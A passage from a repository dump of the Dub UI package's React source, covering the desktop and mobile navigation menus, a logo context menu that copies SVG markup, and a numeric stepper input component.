flex-col gap-0.5\">\n          {SDKS.map(({ icon: Icon, iconClassName, title, href }) => (\n            <ContentLinkCard\n              key={href}\n              className=\"-mx-2\"\n              href={createHref(\n                href,\n                domain,\n                getUtmParams({ domain, utm_content: title }),\n              )}\n              icon={\n                <div className=\"shrink-0 rounded-[10px] border border-neutral-200 bg-white/50 p-1 dark:border-white/20 dark:bg-white/10\">\n                  <Icon\n                    className={cn(\n                      \"size-5 text-neutral-600 transition-colors dark:text-white/60\",\n                      iconClassName,\n                    )}\n                  />\n                </div>\n              }\n              title={title}\n              showArrow\n            />\n          ))}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/nav/index.ts",
    "content": "export * from \"./nav\";\nexport * from \"./nav-mobile\";\n"
  },
  {
    "path": "packages/ui/src/nav/nav-mobile.tsx",
    "content": "\"use client\";\n\nimport { APP_DOMAIN, cn, createHref, fetcher } from \"@dub/utils\";\nimport { ChevronDown, Menu, X } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { ComponentProps, ReactNode, useEffect, useState } from \"react\";\nimport useSWR from \"swr\";\nimport { AnimatedSizeContainer } from \"../animated-size-container\";\nimport { ButtonProps, buttonVariants } from \"../button\";\nimport { NavItemChild, NavItemChildren } from \"../content\";\nimport {\n  DubAnalyticsIcon,\n  DubApiIcon,\n  DubLinksIcon,\n  DubPartnersIcon,\n} from \"../icons\";\nimport { navItems, type NavTheme } from \"./nav\";\n\nconst specialIcons: Record<string, ReactNode> = {\n  \"Dub Links\": (\n    <div className=\"flex size-5 items-center justify-center rounded bg-orange-400\">\n      <DubLinksIcon className=\"size-3 text-orange-900\" />\n    </div>\n  ),\n  \"Dub Partners\": (\n    <div className=\"flex size-5 items-center justify-center rounded bg-violet-400\">\n      <DubPartnersIcon className=\"size-3 text-violet-900\" />\n    </div>\n  ),\n  \"Dub Analytics\": (\n    <div className=\"flex size-5 items-center justify-center rounded bg-green-400\">\n      <DubAnalyticsIcon className=\"size-3 text-green-900\" />\n    </div>\n  ),\n  \"Dub API\": (\n    <div className=\"flex size-5 items-center justify-center rounded bg-neutral-400\">\n      <DubApiIcon className=\"size-3 text-neutral-900\" />\n    </div>\n  ),\n};\n\nexport function NavMobile({\n  theme = \"light\",\n  staticDomain,\n}: {\n  theme?: NavTheme;\n  staticDomain?: string;\n}) {\n  let { domain = \"dub.co\" } = useParams() as { domain: string };\n  if (staticDomain) {\n    domain = staticDomain;\n  }\n\n  const [open, setOpen] = useState(false);\n  // prevent body scroll when modal is open\n  useEffect(() => {\n    if (open) {\n      document.body.style.overflow = \"hidden\";\n    } else {\n      document.body.style.overflow = \"auto\";\n    }\n  }, [open]);\n\n  const { data: session, isLoading } = useSWR(\n    domain.endsWith(\"dub.co\") && \"/api/auth/session\",\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  return (\n    <div\n      className={cn(\n        \"fixed right-0 top-0 z-40 flex items-center gap-4 p-2.5 lg:hidden\",\n        theme === \"dark\" && \"dark\",\n      )}\n    >\n      {session && Object.keys(session).length > 0 ? (\n        <AuthButton href={APP_DOMAIN} className=\"max-[280px]:hidden\">\n          Dashboard\n        </AuthButton>\n      ) : !isLoading ? (\n        <div className=\"flex gap-2 max-[280px]:hidden\">\n          <AuthButton variant=\"secondary\" href={`${APP_DOMAIN}/login`}>\n            Log in\n          </AuthButton>\n\n          <AuthButton href={`${APP_DOMAIN}/register`}>Sign Up</AuthButton>\n        </div>\n      ) : null}\n      <button\n        onClick={() => setOpen(!open)}\n        className={cn(\n          \"z-30 rounded-full p-2 transition-colors duration-200 hover:bg-neutral-200 focus:outline-none active:bg-neutral-300 dark:hover:bg-white/20 dark:active:bg-white/30\",\n          open && \"hover:bg-neutral-100 active:bg-neutral-200\",\n        )}\n      >\n        {open ? (\n          <X className=\"h-5 w-5 text-neutral-600 dark:text-white/70\" />\n        ) : (\n          <Menu className=\"h-5 w-5 text-neutral-600 dark:text-white/70\" />\n        )}\n      </button>\n      <nav\n        className={cn(\n          \"fixed inset-0 z-20 hidden max-h-screen w-full overflow-y-auto bg-white px-5 py-16 lg:hidden dark:bg-black dark:text-white/70\",\n          open && \"block\",\n        )}\n      >\n        <ul className=\"grid divide-y divide-neutral-200 dark:divide-white/[0.15]\">\n          {navItems.map(({ name, href, childItems }, idx) => (\n            <MobileNavItem\n              key={idx}\n              name={name}\n              href={href}\n              childItems={childItems}\n              setOpen={setOpen}\n            />\n          ))}\n\n          {session && Object.keys(session).length > 0 ? (\n            <li className=\"py-3 min-[281px]:hidden\">\n              <Link\n                href={APP_DOMAIN}\n                className=\"flex w-full font-semibold capitalize\"\n              >\n                Dashboard\n              </Link>\n            </li>\n          ) : (\n            <>\n              <li className=\"py-3 min-[281px]:hidden\">\n                <Link\n                  href={`${APP_DOMAIN}/login`}\n                  className=\"flex w-full font-semibold capitalize\"\n                >\n                  Log in\n                </Link>\n              </li>\n\n              <li className=\"py-3 min-[281px]:hidden\">\n                <Link\n                  href={`${APP_DOMAIN}/register`}\n                  className=\"flex w-full font-semibold capitalize\"\n                >\n                  Sign Up\n                </Link>\n              </li>\n            </>\n          )}\n        </ul>\n      </nav>\n    </div>\n  );\n}\n\nconst MobileNavItem = ({\n  name,\n  href,\n  childItems,\n  setOpen,\n}: {\n  name: string;\n  href?: string;\n  childItems?: NavItemChildren;\n  setOpen: (open: boolean) => void;\n}) => {\n  const { domain = \"dub.co\" } = useParams() as { domain: string };\n  const [expanded, setExpanded] = useState(false);\n\n  if (childItems) {\n    return (\n      <li className=\"py-3\">\n        <AnimatedSizeContainer height>\n          <button\n            className=\"flex w-full justify-between\"\n            onClick={() => setExpanded(!expanded)}\n          >\n            <p className=\"font-semibold\">{name}</p>\n            <ChevronDown\n              className={cn(\n                \"h-5 w-5 text-neutral-500 transition-all dark:text-white/50\",\n                expanded && \"rotate-180\",\n              )}\n            />\n          </button>\n          {expanded && (\n            <div className=\"grid grid-cols-1 gap-4 overflow-hidden py-4\">\n              {childItems.map((item, idx) =>\n                \"items\" in item ? (\n                  <div key={idx} className=\"grid grid-cols-1 gap-3\">\n                    <span className=\"text-xs font-medium uppercase text-neutral-500 dark:text-white/50\">\n                      {item.label}\n                    </span>\n                    {item.items.map((childItem, childIdx) => (\n                      <ChildItem\n                        key={childIdx}\n                        item={childItem}\n                        setOpen={setOpen}\n                        size=\"small\"\n                      />\n                    ))}\n                  </div>\n                ) : (\n                  <ChildItem key={idx} item={item} setOpen={setOpen} />\n                ),\n              )}\n            </div>\n          )}\n        </AnimatedSizeContainer>\n      </li>\n    );\n  }\n\n  if (!href) {\n    return null;\n  }\n\n  return (\n    <li className=\"py-3\">\n      <Link\n        href={createHref(href, domain, {\n          utm_source: \"Custom Domain\",\n          utm_medium: \"Navbar\",\n          utm_campaign: domain,\n          utm_content: name,\n        })}\n        onClick={() => setOpen(false)}\n        className=\"flex w-full font-semibold capitalize\"\n      >\n        {name}\n      </Link>\n    </li>\n  );\n};\n\nconst ChildItem = ({\n  item: { title, description, href, icon: Icon },\n  setOpen,\n  size = \"normal\",\n}: {\n  item: NavItemChild;\n  setOpen: (open: boolean) => void;\n  size?: \"normal\" | \"small\";\n}) => {\n  const { domain = \"dub.co\" } = useParams() as { domain: string };\n\n  const SpecialIcon = specialIcons?.[title];\n\n  return (\n    <Link\n      href={createHref(href, domain, {\n        utm_source: \"Custom Domain\",\n        utm_medium: \"Navbar\",\n        utm_campaign: domain,\n        utm_content: title,\n      })}\n      onClick={() => setOpen(false)}\n      className=\"flex w-full items-center gap-3\"\n    >\n      <div\n        className={cn(\n          \"flex size-10 items-center justify-center rounded-lg border border-neutral-200 bg-gradient-to-t from-neutral-100\",\n          size === \"small\" && \"size-8\",\n        )}\n      >\n        {SpecialIcon ?? (\n          <Icon\n            className={cn(\n              \"size-5 text-neutral-700 grayscale\",\n              size === \"small\" && \"size-4\",\n            )}\n          />\n        )}\n      </div>\n      <div>\n        <div className=\"flex items-center gap-2\">\n          <h2 className=\"text-sm font-medium text-neutral-900\">{title}</h2>\n        </div>\n        {description && (\n          <p className=\"text-sm text-neutral-500\">{description}</p>\n        )}\n      </div>\n    </Link>\n  );\n};\n\nexport function AuthButton({\n  variant,\n  className,\n  ...rest\n}: Pick<ButtonProps, \"variant\"> & ComponentProps<typeof Link>) {\n  return (\n    <Link\n      {...rest}\n      className={cn(\n        \"flex h-8 w-fit items-center whitespace-nowrap rounded-lg border px-3 text-[0.8125rem]\",\n        buttonVariants({ variant }),\n        className,\n      )}\n    />\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/nav/nav.tsx",
    "content": "\"use client\";\n\nimport { APP_DOMAIN, cn, createHref, fetcher } from \"@dub/utils\";\nimport * as NavigationMenuPrimitive from \"@radix-ui/react-navigation-menu\";\nimport { LayoutGroup } from \"motion/react\";\nimport Link from \"next/link\";\nimport { useParams, usePathname } from \"next/navigation\";\nimport { PropsWithChildren, SVGProps, createContext, useId } from \"react\";\nimport useSWR from \"swr\";\nimport { buttonVariants } from \"../button\";\nimport { FEATURES_LIST, RESOURCES, SOLUTIONS } from \"../content\";\nimport { useScroll } from \"../hooks\";\nimport { MaxWidthWrapper } from \"../max-width-wrapper\";\nimport { NavWordmark } from \"../nav-wordmark\";\nimport { ProductContent } from \"./content/product-content\";\nimport { ResourcesContent } from \"./content/resources-content\";\nimport { SolutionsContent } from \"./content/solutions-content\";\n\nexport type NavTheme = \"light\" | \"dark\";\n\nexport const NavContext = createContext<{ theme: NavTheme }>({\n  theme: \"light\",\n});\n\nexport const navItems = [\n  {\n    name: \"Product\",\n    content: ProductContent,\n    childItems: FEATURES_LIST,\n    segments: [\n      \"/links\",\n      \"/analytics\",\n      \"/partners\",\n      \"/integrations\",\n      \"/compare\",\n      \"/features\",\n    ],\n  },\n  {\n    name: \"Solutions\",\n    content: SolutionsContent,\n    childItems: SOLUTIONS,\n    segments: [\"/solutions\", \"/sdks\"],\n  },\n  {\n    name: \"Resources\",\n    content: ResourcesContent,\n    childItems: RESOURCES,\n    segments: [\n      \"/help\",\n      \"/docs\",\n      \"/about\",\n      \"/careers\",\n      \"/brand\",\n      \"/blog\",\n      \"/changelog\",\n      \"/contact\",\n    ],\n  },\n  {\n    name: \"Enterprise\",\n    href: \"/enterprise\",\n    segments: [\"/enterprise\"],\n  },\n  {\n    name: \"Customers\",\n    href: \"/customers\",\n    segments: [\"/customers\"],\n  },\n  {\n    name: \"Pricing\",\n    href: \"/pricing\",\n    segments: [\"/pricing\"],\n  },\n];\n\nconst navItemClassName = cn(\n  \"relative group/item flex items-center rounded-md px-4 py-2 text-sm rounded-lg font-medium text-neutral-700 hover:text-neutral-900 transition-colors\",\n  \"dark:text-white/90 dark:hover:text-white\",\n  \"hover:bg-neutral-900/5 dark:hover:bg-white/10\",\n  \"data-[active=true]:bg-neutral-900/5 dark:data-[active=true]:bg-white/10\",\n\n  // Hide active state when another item is hovered\n  \"group-has-[:hover]:data-[active=true]:[&:not(:hover)]:bg-transparent\",\n);\n\nexport function Nav({\n  theme = \"light\",\n  staticDomain,\n  maxWidthWrapperClassName,\n}: {\n  theme?: NavTheme;\n  staticDomain?: string;\n  maxWidthWrapperClassName?: string;\n}) {\n  let { domain = \"dub.co\" } = useParams() as { domain: string };\n  if (staticDomain) {\n    domain = staticDomain;\n  }\n\n  const layoutGroupId = useId();\n\n  const scrolled = useScroll(40);\n  const pathname = usePathname();\n  const { data: session, isLoading } = useSWR(\n    domain.endsWith(\"dub.co\") && \"/api/auth/session\",\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  return (\n    <NavContext.Provider value={{ theme }}>\n      <LayoutGroup id={layoutGroupId}>\n        <div\n          className={cn(\n            `sticky inset-x-0 top-0 z-30 w-full transition-all`,\n            theme === \"dark\" && \"dark\",\n          )}\n        >\n          {/* Scrolled background */}\n          <div\n            className={cn(\n              \"absolute inset-0 block border-b border-transparent transition-all\",\n              scrolled &&\n                \"border-neutral-100 bg-white/75 backdrop-blur-lg dark:border-white/10 dark:bg-black/75\",\n            )}\n          />\n          <MaxWidthWrapper className={cn(\"relative\", maxWidthWrapperClassName)}>\n            <div className=\"flex h-14 items-center justify-between\">\n              <div className=\"grow basis-0\">\n                <Link\n                  className=\"block w-fit py-2 pr-2\"\n                  href={createHref(\"/home\", domain, {\n                    utm_source: \"Custom Domain\",\n                    utm_medium: \"Navbar\",\n                    utm_campaign: domain,\n                    utm_content: \"Logo\",\n                  })}\n                >\n                  <NavWordmark />\n                </Link>\n              </div>\n              <NavigationMenuPrimitive.Root\n                delayDuration={0}\n                className=\"relative hidden lg:block\"\n              >\n                <NavigationMenuPrimitive.List className=\"group relative z-0 flex\">\n                  {navItems.map(\n                    ({ name, href, segments, content: Content }) => {\n                      const isActive = segments.some((segment) =>\n                        pathname?.startsWith(segment),\n                      );\n                      return (\n                        <NavigationMenuPrimitive.Item key={name}>\n                          <WithTrigger trigger={!!Content}>\n                            {href !== undefined ? (\n                              <Link\n                                id={`nav-${href}`}\n                                href={createHref(href, domain, {\n                                  utm_source: \"Custom Domain\",\n                                  utm_medium: \"Navbar\",\n                                  utm_campaign: domain,\n                                  utm_content: name,\n                                })}\n                                className={navItemClassName}\n                                data-active={isActive}\n                              >\n                                {name}\n                              </Link>\n                            ) : (\n                              <button\n                                className={navItemClassName}\n                                data-active={isActive}\n                              >\n                                {name}\n                                <AnimatedChevron className=\"ml-1.5 size-2.5 text-neutral-700\" />\n                              </button>\n                            )}\n                          </WithTrigger>\n\n                          {Content && (\n                            <NavigationMenuPrimitive.Content className=\"data-[motion=from-start]:animate-enter-from-left data-[motion=from-end]:animate-enter-from-right data-[motion=to-start]:animate-exit-to-left data-[motion=to-end]:animate-exit-to-right absolute left-0 top-0\">\n                              <Content domain={domain} />\n                            </NavigationMenuPrimitive.Content>\n                          )}\n                        </NavigationMenuPrimitive.Item>\n                      );\n                    },\n                  )}\n                </NavigationMenuPrimitive.List>\n\n                <div className=\"absolute left-1/2 top-full mt-3 -translate-x-1/2\">\n                  <NavigationMenuPrimitive.Viewport\n                    className={cn(\n                      \"relative flex origin-[top_center] justify-start overflow-hidden rounded-[20px] border border-neutral-200 bg-white shadow-md dark:border-white/[0.15] dark:bg-black\",\n                      \"data-[state=closed]:animate-scale-out-content data-[state=open]:animate-scale-in-content\",\n                      \"h-[var(--radix-navigation-menu-viewport-height)] w-[var(--radix-navigation-menu-viewport-width)] transition-[width,height]\",\n                    )}\n                  />\n                </div>\n              </NavigationMenuPrimitive.Root>\n\n              <div className=\"hidden grow basis-0 justify-end gap-2 lg:flex\">\n                {session && Object.keys(session).length > 0 ? (\n                  <Link\n                    href={APP_DOMAIN}\n                    className={cn(\n                      buttonVariants({ variant: \"primary\" }),\n                      \"flex h-8 items-center rounded-lg border px-4 text-sm\",\n                      \"dark:border-white dark:bg-white dark:text-black dark:hover:bg-neutral-50 dark:hover:ring-white/10\",\n                    )}\n                  >\n                    Dashboard\n                  </Link>\n                ) : !isLoading ? (\n                  <>\n                    <Link\n                      href=\"https://app.dub.co/login\"\n                      className={cn(\n                        buttonVariants({ variant: \"secondary\" }),\n                        \"flex h-8 items-center rounded-lg border px-4 text-sm\",\n                        \"dark:border-white/10 dark:bg-black dark:text-white dark:hover:bg-neutral-900\",\n                      )}\n                    >\n                      Log in\n                    </Link>\n                    <Link\n                      href=\"https://app.dub.co/register\"\n                      className={cn(\n                        buttonVariants({ variant: \"primary\" }),\n                        \"flex h-8 items-center rounded-lg border px-4 text-sm\",\n                        \"dark:border-white dark:bg-white dark:text-black dark:hover:bg-neutral-50 dark:hover:ring-white/10\",\n                      )}\n                    >\n                      Sign up\n                    </Link>\n                  </>\n                ) : null}\n              </div>\n            </div>\n          </MaxWidthWrapper>\n        </div>\n      </LayoutGroup>\n    </NavContext.Provider>\n  );\n}\n\nfunction AnimatedChevron(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"9\"\n      height=\"9\"\n      fill=\"none\"\n      viewBox=\"0 0 9 9\"\n      {...props}\n    >\n      <path\n        stroke=\"currentColor\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.5\"\n        d=\"M7.278 3.389 4.5 6.167 1.722 3.389\"\n        className=\"transition-transform duration-150 [transform-box:view-box] [transform-origin:center] [vector-effect:non-scaling-stroke] group-data-[state=open]/item:-scale-y-100\"\n      />\n    </svg>\n  );\n}\n\nfunction WithTrigger({\n  trigger,\n  children,\n}: PropsWithChildren<{ trigger: boolean }>) {\n  return trigger ? (\n    <NavigationMenuPrimitive.Trigger asChild>\n      {children}\n    </NavigationMenuPrimitive.Trigger>\n  ) : (\n    children\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/nav-wordmark.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport * as Popover from \"@radix-ui/react-popover\";\nimport { BoxSelect, Home, LayoutGrid, Type } from \"lucide-react\";\nimport { useParams } from \"next/navigation\";\nimport { MouseEvent, useCallback, useContext, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { Button, ButtonProps } from \"./button\";\nimport { useCopyToClipboard } from \"./hooks\";\nimport { Logo } from \"./logo\";\nimport { NavContext } from \"./nav\";\nimport { Wordmark } from \"./wordmark\";\n\nconst logoSvg = `<svg width=\"65\" height=\"64\" viewBox=\"0 0 65 64\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n<path fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M32.5 64C50.1731 64 64.5 49.6731 64.5 32C64.5 20.1555 58.0648 9.81393 48.5 4.28099V31.9999V47.9998H40.5V45.8594C38.1466 47.2207 35.4143 47.9999 32.5 47.9999C23.6634 47.9999 16.5 40.8364 16.5 31.9999C16.5 23.1633 23.6634 15.9999 32.5 15.9999C35.4143 15.9999 38.1466 16.779 40.5 18.1404V1.00812C37.943 0.350018 35.2624 0 32.5 0C14.8269 0 0.500038 14.3269 0.500038 32C0.500038 49.6731 14.8269 64 32.5 64Z\" fill=\"black\"/>\n</svg>`;\n\nconst wordmarkSvg = `<svg width=\"46\" height=\"24\" viewBox=\"0 0 46 24\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n<path fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M11 2H14V13.9332L14.0003 13.9731L14.0003 14C14.0003 14.0223 14.0002 14.0445 14 14.0668V21H11V19.7455C9.86619 20.5362 8.48733 21 7.00016 21C3.13408 21 0 17.866 0 14C0 10.134 3.13408 7 7.00016 7C8.48733 7 9.86619 7.46375 11 8.25452V2ZM7 17.9998C9.20914 17.9998 11 16.209 11 13.9999C11 11.7908 9.20914 10 7 10C4.79086 10 3 11.7908 3 13.9999C3 16.209 4.79086 17.9998 7 17.9998ZM32 2H35V8.25474C36.1339 7.46383 37.5128 7 39.0002 7C42.8662 7 46.0003 10.134 46.0003 14C46.0003 17.866 42.8662 21 39.0002 21C35.1341 21 32 17.866 32 14V2ZM39 17.9998C41.2091 17.9998 43 16.209 43 13.9999C43 11.7908 41.2091 10 39 10C36.7909 10 35 11.7908 35 13.9999C35 16.209 36.7909 17.9998 39 17.9998ZM19 7H16V14C16 14.9192 16.1811 15.8295 16.5329 16.6788C16.8846 17.5281 17.4003 18.2997 18.0503 18.9497C18.7003 19.5997 19.472 20.1154 20.3213 20.4671C21.1706 20.8189 22.0809 21 23.0002 21C23.9194 21 24.8297 20.8189 25.679 20.4671C26.5283 20.1154 27.3 19.5997 27.95 18.9497C28.6 18.2997 29.1157 17.5281 29.4675 16.6788C29.8192 15.8295 30.0003 14.9192 30.0003 14H30V7H27V14C27 15.0608 26.5785 16.0782 25.8284 16.8283C25.0783 17.5784 24.0609 17.9998 23 17.9998C21.9391 17.9998 20.9217 17.5784 20.1716 16.8283C19.4215 16.0782 19 15.0608 19 14V7Z\" fill=\"black\"/>\n</svg>`;\n\n/**\n * The Dub logo with a custom context menu for copying/navigation,\n * for use in the top site nav\n */\nexport function NavWordmark({\n  variant = \"full\",\n  isInApp,\n  className,\n}: {\n  variant?: \"full\" | \"symbol\";\n  isInApp?: boolean;\n  className?: string;\n}) {\n  const { domain = \"dub.co\" } = useParams() as { domain: string };\n\n  const { theme } = useContext(NavContext);\n\n  const [isPopoverOpen, setIsPopoverOpen] = useState(false);\n\n  const handleContextMenu = useCallback((e: MouseEvent<HTMLDivElement>) => {\n    e.preventDefault();\n    setIsPopoverOpen(true);\n  }, []);\n\n  const [, copyToClipboard] = useCopyToClipboard();\n\n  function copy(text: string) {\n    toast.promise(copyToClipboard(text), {\n      success: \"Copied to clipboard!\",\n      error: \"Failed to copy to clipboard\",\n    });\n  }\n\n  return (\n    <Popover.Root open={isPopoverOpen} onOpenChange={setIsPopoverOpen}>\n      <Popover.Anchor asChild>\n        <div onContextMenu={handleContextMenu} className=\"max-w-fit\">\n          {variant === \"full\" ? (\n            <Wordmark className={className} />\n          ) : (\n            <Logo\n              className={cn(\n                \"h-8 w-8 transition-all duration-75 active:scale-95\",\n                className,\n              )}\n            />\n          )}\n        </div>\n      </Popover.Anchor>\n      <Popover.Portal>\n        <Popover.Content\n          sideOffset={14}\n          align=\"start\"\n          className={cn(\n            \"z-50 -mt-1.5\",\n            !isInApp && \"-translate-x-8\",\n            theme === \"dark\" && \"dark\",\n          )}\n          onClick={(e) => {\n            e.stopPropagation();\n            setIsPopoverOpen(false);\n          }}\n        >\n          <div className=\"grid gap-1 rounded-lg border border-neutral-200 bg-white p-2 drop-shadow-sm sm:min-w-[240px] dark:border-white/[0.15] dark:bg-black\">\n            <ContextMenuButton\n              text=\"Copy Logo as SVG\"\n              variant=\"outline\"\n              onClick={() => copy(logoSvg)}\n              icon={<Logo className=\"h-4 w-4\" />}\n            />\n            <ContextMenuButton\n              text=\"Copy Wordmark as SVG\"\n              variant=\"outline\"\n              onClick={() => copy(wordmarkSvg)}\n              icon={<Type strokeWidth={2} className=\"h-4 w-4\" />}\n            />\n            <ContextMenuButton\n              text=\"Brand Guidelines\"\n              variant=\"outline\"\n              onClick={() => window.open(\"https://dub.co/brand\", \"_blank\")}\n              icon={<BoxSelect strokeWidth={2} className=\"h-4 w-4\" />}\n            />\n            {/* If it's in the app or it's a domain placeholder page (not dub.co homepage), show the home button */}\n            {isInApp || domain != \"dub.co\" ? (\n              <ContextMenuButton\n                text=\"Home Page\"\n                variant=\"outline\"\n                onClick={() =>\n                  window.open(\n                    `https://dub.co${isInApp ? \"/home\" : \"\"}`,\n                    \"_blank\",\n                  )\n                }\n                icon={<Home strokeWidth={2} className=\"h-4 w-4\" />}\n              />\n            ) : (\n              <ContextMenuButton\n                text=\"Dashboard\"\n                variant=\"outline\"\n                onClick={() => window.open(\"https://app.dub.co\", \"_blank\")}\n                icon={<LayoutGrid strokeWidth={2} className=\"h-4 w-4\" />}\n              />\n            )}\n          </div>\n        </Popover.Content>\n      </Popover.Portal>\n    </Popover.Root>\n  );\n}\n\nfunction ContextMenuButton({ className, ...rest }: ButtonProps) {\n  return (\n    <Button\n      className={cn(\n        \"h-9 justify-start px-3 font-medium hover:text-neutral-700 dark:text-white/70 dark:hover:bg-white/[0.15] dark:hover:text-white\",\n        className,\n      )}\n      {...rest}\n    />\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/number-stepper.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport {\n  HTMLAttributes,\n  ReactNode,\n  useCallback,\n  useEffect,\n  useLayoutEffect,\n  useRef,\n  useState,\n} from \"react\";\nimport { Minus, Plus } from \"./icons\";\n\nexport type NumberStepperProps = {\n  value: number;\n  onChange: (value: number) => void;\n  min?: number;\n  max?: number;\n  step?: number;\n  disabled?: boolean;\n  className?: string;\n  id?: string;\n  formatValue?: (value: number) => ReactNode;\n  decrementAriaLabel?: string;\n  incrementAriaLabel?: string;\n} & Omit<HTMLAttributes<HTMLDivElement>, \"onChange\">;\n\nexport function NumberStepper({\n  value,\n  onChange,\n  min,\n  max,\n  step = 1,\n  disabled,\n  className,\n  id,\n  formatValue,\n  decrementAriaLabel = \"Decrease\",\n  incrementAriaLabel = \"Increase\",\n  ...rest\n}: NumberStepperProps) {\n  const [inputValue, setInputValue] = useState<string>(String(value));\n  const [isEditing, setIsEditing] = useState(false);\n  const inputRef = useRef<HTMLInputElement>(null);\n\n  const canDecrement = typeof min === \"number\" ? value > min : true;\n  const canIncrement = typeof max === \"number\" ? value < max : true;\n\n  // Focus and select input when entering edit mode\n  useLayoutEffect(() => {\n    if (isEditing && inputRef.current && !disabled) {\n      inputRef.current.focus();\n      inputRef.current.select();\n    }\n  }, [isEditing, disabled]);\n\n  // Update input value when prop value changes (but not while editing)\n  useEffect(() => {\n    if (!isEditing && inputValue !== String(value)) {\n      setInputValue(String(value));\n    }\n  }, [value, isEditing, inputValue]);\n\n  const constrainToRange = useCallback(\n    (next: number) => {\n      let nextValue = next;\n\n      if (typeof min === \"number\") {\n        nextValue = Math.max(min, nextValue);\n      }\n\n      if (typeof max === \"number\") {\n        nextValue = Math.min(max, nextValue);\n      }\n\n      return nextValue;\n    },\n    [min, max],\n  );\n\n  const handleDecrement = useCallback(() => {\n    if (disabled) {\n      return;\n    }\n\n    if (!canDecrement) {\n      return;\n    }\n\n    const newValue = constrainToRange(value - step);\n    onChange(newValue);\n    setInputValue(String(newValue));\n  }, [disabled, canDecrement, constrainToRange, onChange, step, value]);\n\n  const handleIncrement = useCallback(() => {\n    if (disabled) {\n      return;\n    }\n\n    if (!canIncrement) {\n      return;\n    }\n\n    const newValue = constrainToRange(value + step);\n    onChange(newValue);\n    setInputValue(String(newValue));\n  }, [disabled, canIncrement, constrainToRange, onChange, step, value]);\n\n  const handleInputChange = useCallback(\n    (e: React.ChangeEvent<HTMLInputElement>) => {\n      const newInputValue = e.target.value;\n      setInputValue(newInputValue);\n\n      // Allow empty input while typing\n      if (newInputValue === \"\" || newInputValue === \"-\") {\n        return;\n      }\n\n      const numValue = Number(newInputValue);\n      if (!isNaN(numValue)) {\n        const constrainedValue = constrainToRange(numValue);\n        onChange(constrainedValue);\n      }\n    },\n    [constrainToRange, onChange],\n  );\n\n  const handleInputBlur = useCallback(() => {\n    setIsEditing(false);\n    const numValue = Number(inputValue);\n\n    // If invalid or empty, reset to current value\n    if (isNaN(numValue) || inputValue === \"\" || inputValue === \"-\") {\n      setInputValue(String(value));\n      return;\n    }\n\n    // Constrain and update\n    const constrainedValue = constrainToRange(numValue);\n    onChange(constrainedValue);\n    setInputValue(String(constrainedValue));\n  }, [inputValue, value, constrainToRange, onChange]);\n\n  const handleInputFocus = useCallback(() => {\n    setIsEditing(true);\n  }, []);\n\n  const handleInputKeyDown = useCallback(\n    (e: React.KeyboardEvent<HTMLInputElement>) => {\n      if (disabled) {\n        return;\n      }\n\n      if (e.key === \"ArrowLeft\" || e.key === \"ArrowDown\") {\n        e.preventDefault();\n        handleDecrement();\n      } else if (e.key === \"ArrowRight\" || e.key === \"ArrowUp\") {\n        e.preventDefault();\n        handleIncrement();\n      } else if (e.key === \"Enter\") {\n        e.preventDefault();\n        handleInputBlur();\n        e.currentTarget.blur();\n      } else if (e.key === \"Escape\") {\n        e.preventDefault();\n        setInputValue(String(value));\n        e.currentTarget.blur();\n      }\n    },\n    [disabled, handleDecrement, handleIncrement, handleInputBlur, value],\n  );\n\n  return (\n    <div\n      id={id}\n      role=\"group\"\n      aria-disabled={disabled}\n      className={cn(\n        \"flex h-10 w-full select-none items-stretch overflow-hidden rounded-lg border border-neutral-200 bg-white p-1\",\n        disabled && \"opacity-60\",\n        className,\n      )}\n      {...rest}\n    >\n      <button\n        type=\"button\"\n        aria-label={decrementAriaLabel}\n        onClick={handleDecrement}\n        disabled={disabled || !canDecrement}\n        className={cn(\n          \"flex h-full w-16 items-center justify-center rounded-lg text-neutral-700 transition-colors\",\n          !(disabled || !canDecrement) &&\n            \"hover:bg-neutral-100 active:bg-neutral-200\",\n        )}\n      >\n        <Minus className=\"block size-4\" />\n      </button>\n\n      <div className=\"relative flex min-w-0 flex-1 items-center justify-center\">\n        <input\n          ref={inputRef}\n          type=\"text\"\n          inputMode=\"numeric\"\n          role=\"spinbutton\"\n          aria-valuenow={value}\n          aria-valuemin={min}\n          aria-valuemax={max}\n          value={isEditing ? inputValue : String(value)}\n          onChange={handleInputChange}\n          onBlur={handleInputBlur}\n          onFocus={handleInputFocus}\n          onKeyDown={handleInputKeyDown}\n          disabled={disabled}\n          className={cn(\n            \"w-full border-0 bg-transparent px-3 text-center text-sm text-neutral-900 outline-none transition-colors focus:ring-0\",\n            disabled && \"cursor-not-allowed\",\n            !disabled && \"cursor-text focus:bg-neutral-50\",\n            !isEditing && formatValue && \"pointer-events-none opacity-0\",\n          )}\n        />\n        {!isEditing && formatValue && (\n          <div\n            role=\"spinbutton\"\n            aria-valuenow={value}\n            aria-valuemin={min}\n            aria-valuemax={max}\n            tabIndex={0}\n            onKeyDown={(e) => {\n              if (e.key === \"Enter\" || e.key === \" \") {\n                e.preventDefault();\n                if (!disabled) {\n                  setIsEditing(true);\n                  setInputValue(String(value));\n                }\n              } else {\n                handleInputKeyDown(\n                  e as Parameters<typeof handleInputKeyDown>[0],\n                );\n              }\n            }}\n            onClick={() => {\n              if (!disabled) {\n                setIsEditing(true);\n                setInputValue(String(value));\n              }\n            }}\n            className={cn(\n              \"absolute inset-0 flex items-center justify-center px-3 text-sm text-neutral-900 outline-none focus:ring-0\",\n              !disabled && \"cursor-text hover:bg-neutral-50\",\n            )}\n          >\n            {formatValue(value)}\n          </div>\n        )}\n      </div>\n\n      <button\n        type=\"button\"\n        